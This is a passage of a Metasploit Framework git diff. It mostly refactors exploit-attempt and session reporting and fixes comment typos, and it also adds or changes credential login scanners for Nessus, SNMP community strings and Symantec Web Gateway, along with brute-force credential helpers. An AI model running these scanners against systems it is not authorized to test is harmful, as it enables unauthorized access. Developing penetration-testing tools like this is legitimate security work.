@return [Boolean] TrueClass if target is Nessus server, otherwise FalseClass + def check_setup + login_uri = "/server/properties" + res = send_request({'uri'=> login_uri}) + if res && res.body.include?('Nessus') + return true + end + + false + end + + # Actually doing the login. Called by #attempt_login + # + # @param username [String] The username to try + # @param password [String] The password to try + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def get_login_state(username, password) + login_uri = "#{uri}" + + res = send_request({ + 'uri' => login_uri, + 'method' => 'POST', + 'vars_post' => { + 'username' => username, + 'password' => password + } + }) + + unless res + return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s} + end + if res.code == 200 && res.body =~ /token/ + return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body.to_s} + end + + {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s} + end + + + # Attempts to login to Nessus. + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } + + begin + result_opts.merge!(get_login_state(credential.public, credential.private)) + rescue ::Rex::ConnectionError => e + # Something went wrong during login. 'e' knows what's up. + result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message) + end + + Result.new(result_opts) + end + + def set_sane_defaults + super + # nessus_rest_login has the same default in TARGETURI, but rspec doesn't check nessus_rest_login + # so we have to set the default here, too. + self.uri = '/session' + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index a6ba854202..c616506352 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -17,6 +17,40 @@ module Metasploit PRIVATE_TYPES = [ :password ] REALM_KEY = nil + # The number of retries per community string + # @return [Fixnum] + attr_accessor :retries + + # The SNMP version to scan + # @return [String] + attr_accessor :version + + validates :retries, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :version, + presence: true, + inclusion: { + in: ['1', '2c', 'all'] + } + + # This method returns an array of versions to scan + # @return [Array] An array of versions + def versions + case version + when '1' + [:SNMPv1] + when '2c' + [:SNMPv2c] + when 'all' + [:SNMPv1, :SNMPv2c] + end + end + # This method attempts a single login with a single credential against the target # @param credential [Credential] The credential object to attmpt to login with # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object @@ -29,14 +63,14 @@ module Metasploit service_name: 'snmp' } - [:SNMPv1, :SNMPv2c].each do |version| + versions.each do |version| snmp_client = ::SNMP::Manager.new( :Host => host, :Port => port, :Community => credential.public, :Version => version, :Timeout => connection_timeout, - :Retries => 2, + :Retries => retries, :Transport => ::SNMP::RexUDPTransport, :Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }) ) diff --git a/lib/metasploit/framework/login_scanner/symantec_web_gateway.rb b/lib/metasploit/framework/login_scanner/symantec_web_gateway.rb index d415bc3226..16130d65b4 100644 --- a/lib/metasploit/framework/login_scanner/symantec_web_gateway.rb +++ b/lib/metasploit/framework/login_scanner/symantec_web_gateway.rb @@ -27,44 +27,9 @@ module Metasploit end - # Sends a HTTP request with Rex - # - # @param (see Rex::Proto::Http::Request#request_raw) - # @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request - # @return [Rex::Proto::Http::Response] The HTTP response - def send_request(opts) - res = nil - cli = Rex::Proto::Http::Client.new(host, port, - { - 'Msf' => framework, - 'MsfExploit' => framework_module - }, - ssl, - ssl_version, - proxies - ) - configure_http_client(cli) - begin - cli.connect - req = cli.request_cgi(opts) - res = cli.send_recv(req) - rescue ::Errno::EPIPE, ::Timeout::Error => e - # We are trying to mimic the same type of exception rescuing in - # Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently - # raise Rex::ConnectionError so the #attempt_login can return the error message back - # to the login module. - raise Rex::ConnectionError, e.message - ensure - cli.close - end - - res - end - - # Returns the latest sid from Symantec Web Gateway. # - # @returns [String] The PHP Session ID for Symantec Web Gateway login + # @return [String] The PHP Session ID for Symantec Web Gateway login def get_last_sid @last_sid ||= lambda { # We don't have a session ID. Well, let's grab one right quick from the login page. @@ -130,7 +95,14 @@ module Metasploit # @param credential [Metasploit::Framework::Credential] The credential object # @return [Result] A Result object indicating success or failure def attempt_login(credential) - result_opts = { credential: credential } + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + protocol: 'tcp' + } begin result_opts.merge!(get_login_state(credential.public, credential.private)) diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb index f795d6f367..8f398aa355 100644 --- a/lib/metasploit/framework/require.rb +++ b/lib/metasploit/framework/require.rb @@ -59,14 +59,15 @@ module Metasploit end end - # Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. + # Tries to `require 'metasploit/credential'` and include `Metasploit::Credential::Creation` in the + # `including_module`. # # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. # @return [void] def self.optionally_include_metasploit_credential_creation(including_module) optionally( - 'metasploit/credential/creation', - "metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}", + 'metasploit/credential', + "metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}" ) do including_module.send(:include, Metasploit::Credential::Creation) end diff --git a/lib/metasploit/framework/spec/untested_payloads.rb b/lib/metasploit/framework/spec/untested_payloads.rb index e6cc91fba1..fea2860e1a 100644 --- a/lib/metasploit/framework/spec/untested_payloads.rb +++ b/lib/metasploit/framework/spec/untested_payloads.rb @@ -44,7 +44,7 @@ module Metasploit untested_payloads_pathname = Pathname.new 'log/untested-payloads.log' if untested_payloads_pathname.exist? - tool_path = 'tools/missing-payload-tests.rb' + tool_path = 'tools/missing_payload_tests.rb' $stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \ "`spec/modules/payloads_spec.rb` to test those payload ancestor reference names." diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index b3d30a125c..fcf024f116 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -536,6 +536,7 @@ class ReadableText ] columns << 'Via' if verbose + columns << 'PayloadId' if verbose tbl = Rex::Ui::Text::Table.new( 'Indent' => indent, @@ -555,7 +556,11 @@ class ReadableText if session.respond_to? :platform row[1] += " " + session.platform end - row << session.via_exploit if verbose and session.via_exploit + + if verbose + row << session.via_exploit.to_s + row << session.payload_uuid.to_s + end tbl << row } @@ -566,7 +571,7 @@ class ReadableText # Dumps the list of running jobs. # # @param framework [Msf::Framework] the framework. - # @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH + # @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH # and start time, if they exist, for each job. # @param indent [Integer] the indentation amount. # @param col [Integer] the column wrap width. diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index a779bd249b..64e4bad848 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client nhost = find_internet_connected_address original_session_host = self.session_host - # If we found a better IP address for this session, change it up - # only handle cases where the DB is not connected here - if !(framework.db && framework.db.active) + # If we found a better IP address for this session, change it + # up. Only handle cases where the DB is not connected here + if nhost && !(framework.db && framework.db.active) self.session_host = nhost end @@ -461,6 +461,8 @@ protected # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes # @return [String] The address from which this host reaches the # internet, as ASCII. e.g.: "192.168.100.156" + # @return [nil] If there is an interface with an address that matches + # {#session_host} def find_internet_connected_address ifaces = self.net.config.get_interfaces().flatten rescue [] @@ -497,7 +499,9 @@ protected end if !nhost - # Find the first non-loopback address + # No internal address matches what we see externally and no + # interface has a default route. Fall back to the first + # non-loopback address non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } if non_loopback nhost = non_loopback.ip diff --git a/lib/msf/core.rb b/lib/msf/core.rb index b93efa2b23..deeec9d19a 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -76,11 +76,9 @@ require 'msf/http/jboss' require 'msf/kerberos/client' # Java RMI Support +require 'msf/java/rmi/util' require 'msf/java/rmi/client' -# Java JMX Support -require 'msf/java/jmx' - # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/auxiliary.rb b/lib/msf/core/auxiliary.rb index c244724fd3..5f542c5d43 100644 --- a/lib/msf/core/auxiliary.rb +++ b/lib/msf/core/auxiliary.rb @@ -6,7 +6,7 @@ module Msf ### # # The auxiliary class acts as a base class for all modules that perform -# reconnaisance, retrieve data, brute force logins, or any other action +# reconnaissance, retrieve data, brute force logins, or any other action # that doesn't fit our concept of an 'exploit' (involving payloads and # targets and whatnot). # diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index c368a2328c..99faf17873 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -108,9 +108,9 @@ module Auxiliary::AuthBrute # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys # from the database. This allows the users to use the DB_ALL_CREDS option. # - # @param cred_collection [Metasploit::Framework::CredentialCollection] + # @param [Metasploit::Framework::CredentialCollection] cred_collection # the credential collection to add to - # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + # @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection def prepend_db_keys(cred_collection) if prepend_db_creds? each_ssh_cred do |cred| @@ -140,8 +140,8 @@ module Auxiliary::AuthBrute # {Metasploit::Framework::CredentialCollection} as dictated by the # selected datastore options. # - # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to - # @param [Metasploit::Credential::Core] the Credential Core to process + # @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to + # @param [Metasploit::Credential::Core] cred the credential to process def process_cred_for_collection(cred_collection, cred) msf_cred = cred.to_credential cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS'] @@ -548,7 +548,7 @@ module Auxiliary::AuthBrute end # Provides a consistant way to display messages about AuthBrute-mixed modules. - # Acceptable opts are fairly self-explanitory, but :level can be tricky. + # Acceptable opts are fairly self-explanatory, but :level can be tricky. # # It can be one of status, good, error, or line (and corresponds to the usual # print_status, print_good, etc. methods). diff --git a/lib/msf/core/auxiliary/cisco.rb b/lib/msf/core/auxiliary/cisco.rb index 121efe49e7..3dd2a96d19 100644 --- a/lib/msf/core/auxiliary/cisco.rb +++ b/lib/msf/core/auxiliary/cisco.rb @@ -243,7 +243,7 @@ module Auxiliary::Cisco store_cred(cred) # -# Various authentication secretss +# Various authentication secrets # when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i user = $1 diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index f1af818f8c..6140d35998 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper end # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data - # out to a file and returns the {rex::quickfile} object. + # out to a file and returns the {Rex::Quickfile} object. # # @return [nilClass] if there is no active framework db connection # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 6793162658..a8829d5f5c 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -16,7 +16,7 @@ module Auxiliary::Login EOL = CR + LF # - # Creates an instance of a login negoation module. + # Creates an instance of a login negotiation module. # def initialize(info = {}) super diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 0f9b3ec3f0..96684afb8e 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -113,13 +113,11 @@ module Auxiliary::Report # # Report a client connection - # - # opts must contain - # :host the address of the client connecting - # :ua_string a string that uniquely identifies this client - # opts can contain - # :ua_name a brief identifier for the client, e.g. "Firefox" - # :ua_ver the version number of the client, e.g. "3.0.11" + # @param opts [Hash] report client information based on user-agent + # @option opts [String] :host the address of the client connecting + # @option opts [String] :ua_string a string that uniquely identifies this client + # @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox" + # @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11" # def report_client(opts={}) return if not db @@ -161,7 +159,7 @@ module Auxiliary::Report # by a module. This method is deprecated and the new Metasploit::Credential methods # should be used directly instead. # - # @param :opts [Hash] the option hash + # @param opts [Hash] the option hash # @option opts [String] :host the address of the host (also takes a {Mdm::Host}) # @option opts [Fixnum] :port the port of the connected service # @option opts [Mdm::Service] :service an optional Service object to build the cred for @@ -427,7 +425,7 @@ module Auxiliary::Report fname = ctype || "local_#{Time.now.utc.to_i}" end - # Split by path seperator + # Split by path separator fname = ::File.split(fname).last case ctype # Probably could use more cases diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index f234e486f7..f4da1911e0 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -85,7 +85,7 @@ class DataStore < Hash def import_options_from_s(option_str, delim = nil) hash = {} - # Figure out the deliminter, default to space. + # Figure out the delimeter, default to space. if (delim.nil?) delim = /\s/ @@ -94,7 +94,7 @@ class DataStore < Hash end end - # Split on the deliminter + # Split on the delimeter option_str.split(delim).each { |opt| var, val = opt.split('=') diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 2c2d55b73a..60d421b617 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -23,6 +23,10 @@ require 'msf/core/service_state' class Msf::DBManager extend Metasploit::Framework::Require + # Default proto for making new `Mdm::Service`s. This should probably be a + # const on `Mdm::Service` + DEFAULT_SERVICE_PROTO = "tcp" + autoload :Adapter, 'msf/core/db_manager/adapter' autoload :Client, 'msf/core/db_manager/client' autoload :Connection, 'msf/core/db_manager/connection' @@ -100,7 +104,7 @@ class Msf::DBManager attr_accessor :usable # - # iniitialize + # initialize # def initialize(framework, opts = {}) diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb index 640fba9a70..15ddb13877 100644 --- a/lib/msf/core/db_manager/cred.rb +++ b/lib/msf/core/db_manager/cred.rb @@ -95,7 +95,7 @@ module Msf::DBManager::Cred ret = {} # Check to see if the creds already exist. We look also for a downcased username with the - # same password because we can fairly safely assume they are not in fact two seperate creds. + # same password because we can fairly safely assume they are not in fact two separate creds. # this allows us to hedge against duplication of creds in the DB. if duplicate_ok @@ -177,4 +177,4 @@ module Msf::DBManager::Cred alias :report_auth :report_auth_info alias :report_cred :report_auth_info -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 9f864ec296..025c4c81ab 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt } end + # Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if + # the `vuln` option is passed). + # + # @option (see #do_report_failure_or_success) + # @return (see #do_report_failure_or_success) def report_exploit_failure(opts) + return unless opts.has_key?(:refs) && !opts[:refs].blank? + host = opts[:host] || return - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - mrefs = opts.delete(:refs) || return - host = opts.delete(:host) - port = opts.delete(:port) - prot = opts.delete(:proto) - svc = opts.delete(:service) - vuln = opts.delete(:vuln) - - timestamp = opts.delete(:timestamp) - freason = opts.delete(:fail_reason) - fdetail = opts.delete(:fail_detail) - username = opts.delete(:username) - mname = opts.delete(:module) - - # Look up the host as appropriate - if not (host and host.kind_of? ::Mdm::Host) - if svc.kind_of? ::Mdm::Service - host = svc.host - else - host = get_host( :workspace => wspace, :address => host ) - end - end - - # Bail if we dont have a host object - return if not host + wspace = opts[:workspace] || workspace + port = opts[:port] + prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO + svc = opts[:service] # Look up the service as appropriate if port and svc.nil? - prot ||= "tcp" - svc = get_service(wspace, host, prot, port) if port + svc = get_service(wspace, host, prot, port) end - if not vuln - # Create a references map from the module list - ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| - if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) - "#{ref.ctx_id}-#{ref.ctx_val}" - else - ref.to_s - end - }) - - # Try find a matching vulnerability - vuln = find_vuln_by_refs(ref_objs, host, svc) - end - - # Report a vuln_attempt if we found a match - if vuln - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => false, - :fail_reason => freason, - :fail_detail => fdetail, - :username => username || "unknown", - :module => mname - } - - vuln.vuln_attempts.create(attempt_info) - end - - # Report an exploit attempt all the same - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => false, - :username => username || "unknown", - :module => mname, - :fail_reason => freason, - :fail_detail => fdetail - } - - attempt_info[:vuln_id] = vuln.id if vuln - - if svc - attempt_info[:port] = svc.port - attempt_info[:proto] = svc.proto - end - - if port and svc.nil? - attempt_info[:port] = port - attempt_info[:proto] = prot || "tcp" - end - - host.exploit_attempts.create(attempt_info) - } - end - - def report_exploit_success(opts) - ::ActiveRecord::Base.connection_pool.with_connection { - - wspace = opts.delete(:workspace) || workspace - mrefs = opts.delete(:refs) || return - host = opts.delete(:host) - port = opts.delete(:port) - prot = opts.delete(:proto) - svc = opts.delete(:service) - vuln = opts.delete(:vuln) - - timestamp = opts.delete(:timestamp) - username = opts.delete(:username) - mname = opts.delete(:module) - - # Look up or generate the host as appropriate - if not (host and host.kind_of? ::Mdm::Host) + # Look up the host as appropriate + if !host || !host.kind_of?(::Mdm::Host) if svc.kind_of? ::Mdm::Service host = svc.host else - host = report_host(:workspace => wspace, :address => host ) + host = get_host(workspace: wspace, address: host) end end # Bail if we dont have a host object return if not host + opts = opts.dup + opts[:service] = svc + opts[:host] = host + + do_report_failure_or_success(opts) + end + + # Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if + # the `vuln` option is passed). + # + # @return (see #do_report_failure_or_success) + def report_exploit_success(opts) + return unless opts[:refs] + host = opts[:host] || return + + wspace = opts[:workspace] || workspace + port = opts[:port] + prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO + svc = opts[:service] + # Look up or generate the service as appropriate if port and svc.nil? - svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port + # it is rude to modify arguments in place + opts = opts.dup + opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO + opts[:service] = report_service( + workspace: wspace, host: host, port: port, proto: prot + ) end - if not vuln - # Create a references map from the module list - ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| - if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) - "#{ref.ctx_id}-#{ref.ctx_val}" - else - ref.to_s - end - }) + do_report_failure_or_success(opts) + end - # Try find a matching vulnerability - vuln = find_vuln_by_refs(ref_objs, host, svc) - end + private + + # @option opts [Array, Array] :refs + # @option opts [Mdm::Host] :host + # @option opts [Mdm::Service] :service + # @option opts [Integer] :port (nil) + # @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS` + # @option opts [Mdm::Vuln] :vuln (nil) + # @option opts [Time] :timestamp (nil) + # @option opts [Mdm::Vuln] :timestamp (nil) + # @option opts [String] :module (nil) + # @return [void] + def do_report_failure_or_success(opts) + return unless opts[:refs] + ::ActiveRecord::Base.connection_pool.with_connection { + mrefs = opts[:refs] + host = opts[:host] + port = opts[:port] + prot = opts[:proto] + svc = opts[:service] + vuln = opts[:vuln] + + timestamp = opts[:timestamp] + freason = opts[:fail_reason] + fdetail = opts[:fail_detail] + username = opts[:username] + mname = opts[:module] + + if vuln.nil? + ref_names = mrefs.map { |ref| + if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) + "#{ref.ctx_id}-#{ref.ctx_val}" + else + ref.to_s + end + } + + # Create a references map from the module list + ref_objs = ::Mdm::Ref.where(name: ref_names) + + # Try find a matching vulnerability + vuln = find_vuln_by_refs(ref_objs, host, svc) + end - # We have match, lets create a vuln_attempt record - if vuln attempt_info = { - :vuln_id => vuln.id, :attempted_at => timestamp || Time.now.utc, - :exploited => true, + :exploited => (freason.nil? ? true : false), + :fail_detail => fdetail, + :fail_reason => freason, + :module => mname, :username => username || "unknown", - :module => mname } attempt_info[:session_id] = opts[:session_id] if opts[:session_id] attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - vuln.vuln_attempts.create(attempt_info) + # We have match, lets create a vuln_attempt record + if vuln + attempt_info[:vuln_id] = vuln.id + vuln.vuln_attempts.create(attempt_info) - # Correct the vuln's associated service if necessary - if svc and vuln.service_id.nil? - vuln.service = svc - vuln.save + # Correct the vuln's associated service if necessary + if svc and vuln.service_id.nil? + vuln.service = svc + vuln.save + end end - end - # Report an exploit attempt all the same - attempt_info = { - :attempted_at => timestamp || Time.now.utc, - :exploited => true, - :username => username || "unknown", - :module => mname + # Report an exploit attempt all the same + + if svc + attempt_info[:port] = svc.port + attempt_info[:proto] = svc.proto + end + + if port and svc.nil? + attempt_info[:port] = port + attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO + end + + host.exploit_attempts.create(attempt_info) } - attempt_info[:vuln_id] = vuln.id if vuln - attempt_info[:session_id] = opts[:session_id] if opts[:session_id] - attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] - - if svc - attempt_info[:port] = svc.port - attempt_info[:proto] = svc.proto - end - - if port and svc.nil? - attempt_info[:port] = port - attempt_info[:proto] = prot || "tcp" - end - - host.exploit_attempts.create(attempt_info) - } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index f2055e596d..ad9af6b3ab 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -96,8 +96,7 @@ module Msf::DBManager::Host norm_host = host.host elsif host.respond_to?(:session_host) # Then it's an Msf::Session object - thost = host.session_host - norm_host = thost + norm_host = host.session_host end # If we got here and don't have a norm_host yet, it could be a @@ -325,4 +324,4 @@ module Msf::DBManager::Host host } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/import/libpcap.rb b/lib/msf/core/db_manager/import/libpcap.rb index 80d0259ffb..28cc619df7 100644 --- a/lib/msf/core/db_manager/import/libpcap.rb +++ b/lib/msf/core/db_manager/import/libpcap.rb @@ -8,7 +8,7 @@ module Msf::DBManager::Import::Libpcap bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] # seen_hosts is only used for determining when to yield an address. Once we get # some packet analysis going, the values will have all sorts of info. The plan - # is to ru through all the packets as a first pass and report host and service, + # is to run through all the packets as a first pass and report host and service, # then, once we have everything parsed, we can reconstruct sessions and ngrep # out things like authentication sequences, examine ttl's and window sizes, all # kinds of crazy awesome stuff like that. diff --git a/lib/msf/core/db_manager/import/metasploit_framework/zip.rb b/lib/msf/core/db_manager/import/metasploit_framework/zip.rb index 7a4947193c..c2dbe47903 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/zip.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/zip.rb @@ -64,7 +64,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip end # Only report loot if we actually have it. - # TODO: Copypasta. Seperate this out. + # TODO: Copypasta. Separate this out. if ::File.exists? loot_info[:orig_path] loot_dir = ::File.join(basedir,"loot") loot_file = ::File.split(loot_info[:orig_path]).last @@ -114,7 +114,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path] # Only report a task if we actually have it. - # TODO: Copypasta. Seperate this out. + # TODO: Copypasta. Separate this out. if ::File.exists? task_info[:orig_path] tasks_dir = ::File.join(basedir,"tasks") task_file = ::File.split(task_info[:orig_path]).last @@ -168,7 +168,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip # Grab the list of unique basedirs over all entries. @import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."} - # mkdir all of the base directores we just pulled out, if they don't + # mkdir all of the base directories we just pulled out, if they don't # already exist @import_filedata[:zip_tmp_subdirs].each {|sub| tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub) diff --git a/lib/msf/core/db_manager/import/nmap.rb b/lib/msf/core/db_manager/import/nmap.rb index 2be567c395..9def5e100b 100644 --- a/lib/msf/core/db_manager/import/nmap.rb +++ b/lib/msf/core/db_manager/import/nmap.rb @@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap data[:host] = hobj || addr data[:info] = extra if not extra.empty? data[:task] = args[:task] - if p["name"] != "unknown" - data[:name] = p["name"] - end + data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name'] report_service(data) } #Parse the scripts output diff --git a/lib/msf/core/db_manager/import/qualys/asset.rb b/lib/msf/core/db_manager/import/qualys/asset.rb index 70ab0c7836..1b1e0533a3 100644 --- a/lib/msf/core/db_manager/import/qualys/asset.rb +++ b/lib/msf/core/db_manager/import/qualys/asset.rb @@ -26,7 +26,7 @@ module Msf::DBManager::Import::Qualys::Asset qid = vuln.elements['QID'].first.to_s vuln_refs[qid] ||= [] vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| - vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) + vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1]) end vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s) @@ -95,4 +95,4 @@ module Msf::DBManager::Import::Qualys::Asset end # host end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/import/qualys/scan.rb b/lib/msf/core/db_manager/import/qualys/scan.rb index a69d3ab07d..24933dfd72 100644 --- a/lib/msf/core/db_manager/import/qualys/scan.rb +++ b/lib/msf/core/db_manager/import/qualys/scan.rb @@ -70,7 +70,7 @@ module Msf::DBManager::Import::Qualys::Scan refs.push(ref.elements['ID'].text.to_s) end vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| - refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) + refs.push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1]) end vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| refs.push('BID-' + ref.elements['ID'].text.to_s) diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index 954957a55e..a46b63afb9 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -85,7 +85,7 @@ module Msf::DBManager::Service end =end - proto = opts[:proto] || 'tcp' + proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize opts.each { |k,v| @@ -126,4 +126,4 @@ module Msf::DBManager::Service wspace.services.includes(:host).where(conditions).order("hosts.address, port") } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 56b4a0a436..408454ab1d 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -49,7 +49,7 @@ module Msf::DBManager::Session # Creates an Mdm::Session from Mdm::Host. # # @param opts [Hash{Symbol => Object}] options - # @option opts [DateTime, Time] :closed_at The date and time the sesion was + # @option opts [DateTime, Time] :closed_at The date and time the session was # closed. # @option opts [String] :close_reason Reason the session was closed. # @option opts [Hash] :datastore {Msf::DataStore#to_h}. @@ -74,101 +74,71 @@ module Msf::DBManager::Session # @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be # saved. # - # @raise ArgumentError if :host and :session is +nil+ + # @raise ArgumentError if :host and :session are both +nil+ def report_session(opts) return if not active + ::ActiveRecord::Base.connection_pool.with_connection { if opts[:session] - raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session session = opts[:session] - wspace = opts[:workspace] || find_workspace(session.workspace) - h_opts = { } - h_opts[:host] = normalize_host(session) - h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch - h_opts[:workspace] = wspace - host = find_or_create_host(h_opts) - sess_data = { - :host_id => host.id, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :routes => [], - :datastore => session.exploit_datastore.to_h, - :port => session.session_port, - :opened_at => Time.now.utc, - :last_seen => Time.now.utc, - :local_id => session.sid - } + s = create_mdm_session_from_session(opts) + session.db_record = s elsif opts[:host] - raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host - host = opts[:host] - sess_data = { - :host_id => host.id, - :stype => opts[:stype], - :desc => opts[:desc], - :platform => opts[:platform], - :via_payload => opts[:via_payload], - 